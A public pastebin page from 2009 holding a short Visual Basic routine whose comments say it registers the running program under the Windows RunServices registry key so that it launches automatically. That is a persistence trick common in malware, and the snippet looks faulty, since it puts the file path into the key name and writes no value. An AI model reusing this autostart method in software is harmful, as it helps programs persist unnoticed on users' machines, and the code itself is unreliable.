Guest
Public paste!

h7labscom

By: a guest | Nov 8th, 2009 | Syntax: VisualBasic | Size: 0.37 KB | Hits: 65 | Expires: Never
Copy text to clipboard
  1. Public Sub starter()
  2. Dim Reg As Object
  3. Set Reg = CreateObject("wscript.shell") 'This code and the code below writes this "program" to the reigstry
  4. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" & App.Path & "\" & App.EXEName & ".exe"'This code would place file wherever depending on path. After, name watever ext. '.exe'
  5. End Sub